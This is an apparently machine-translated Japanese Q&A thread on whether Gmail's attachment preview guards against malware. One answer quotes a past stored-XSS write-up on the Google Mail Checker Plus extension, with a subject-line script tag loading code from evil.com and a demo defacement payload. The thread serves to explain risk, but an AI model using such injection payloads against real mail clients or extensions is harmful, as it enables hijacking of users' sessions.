web-dev-qa-db-ja.com

ブラウザのドキュメントに対するGmailの「プレビュー」機能はマルウェアを防ぎますか？

添付されたWord文書やその他のファイル（画像、PDFなど）を開くことが心配です。 Gmailには、Gmail画面を離れることなく、ブラウザでこれらをポップアップでプレビューする機能があります。ドキュメントの画像が何らかの形でレンダリングされ、代わりに表示されているようです。この方法でドキュメントを表示すると、マルウェアのリスクはありますか？

malwaregmail
7
Brian Armstrong

これにより、通常は添付ファイルを開くために使用するアプリケーション（Adobeリーダー、画像ビューアなど）に固有の脆弱性の悪用が防止されます。

添付ファイルのレンダリングによるブラウザの脆弱性の悪用を防ぐことはできません（ただし、攻撃者がGoogleが使用しているプレビューアの特定の実装で動作するブラウザの悪用を作成する必要があるため、これは困難です）。

また、プレビューアや通常のアプリケーションと共有されるアルゴリズムやライブラリの脆弱性の悪用を防ぐことはできません。ただし、プレビューの場合も同様に、攻撃者はライブラリを悪用するだけでなく、適切なブラウザの悪用を生成するために、特定の方法で添付ファイルを作成する必要があります。ブラウザーのエクスプロイトは、XSS攻撃などの単純な攻撃ベクトルの形をとる可能性がありますが、その方が簡単です。

5
SilverlightFox

プレビューモードを使用してGmailで添付ドキュメントを開く場合（そうする場合があります）、それは単なる添付ファイルの画像;この画像はスクリーンショットとして想像できます。つまり、そのようにドキュメントを開くと、安全になります元のドキュメントの機能を含まない：

enter image description here

ただし、同様の機能が Google Mail Checker Plus 拡張子によって提供され、説明どおりにポップアップウィンドウでファイルをプレビューします。このようにファイルをプレビューしても、上記の機能と同様に、リスクにさらされません、ただし（あなたの質問への@shroederのコメントを反映するケース）私はあなたに再現します 脆弱性の例 XSS攻撃を可能にする過去に悪用されました：

「Google Mail Checker Plus」[＃]と呼ばれる人気のある（1週間あたり18,368インストール）拡張機能を見てみましょう。この拡張機能は、Gmailの受信トレイにある未読メッセージの数を表示し、メールのプレビューを作成し、デスクトップ通知をサポートします。

..図:: http://oxdef.info/papers/ext/img/google_mail_checker_plus.png

Mail preview in popup of Google Mail Checker Plus

プレビューでは、少なくとも件名、本文、および本文を確認できます。よし、次のような件名のセルフレターを送ってみましょう::

2"'><script src="http://evil.com/own.js"></script>

own.jsは単純なjavascriptデモペイロードです：::

document.body.innerHTML = '';
img = new Image();
img.src = 'http://evil.com/stallowned.jpg';
document.body.appendChild(img);

最初にそのような通知が表示されます。

..図:: http://oxdef.info/papers/ext/img/gmail_checker_xss_notificate.png

XSS in Google Mail Checker Plus notification part

2つ目は、拡張機能のアイコンをクリックして、ポップアップウィンドウに作業ペイロードを表示します。

..図:: http://oxdef.info/papers/ext/img/gmail_checker_xss.png

XSS in Google Mail Checker Plus

できます！ちなみに、このXSSはすでに2010年6月3日にLostmonによって報告されており、拡張機能の修正バージョンが利用可能です。 Lostmonは次のように書いています：「すべての拡張機能はOriginで実行され、拡張機能からデータを変更したり、メールアカウントやパスワードなどの機密データを取得したりする方法はありません。」

this拡張のコンテキストでこのWeb脆弱性を発見して、リスクを理解しましょう。

.. [＃] https://chrome.google.com/extensions/detail/gffjhibehnempbkeheiccaincokdjbfe .. _reported： http://lostmon.blogspot.com/2010/06/gmail -checker-plus-chrome-extension-xss.html .. _notifications： http://www.html5rocks.com/tutorials/notifications/quick/

2
user45139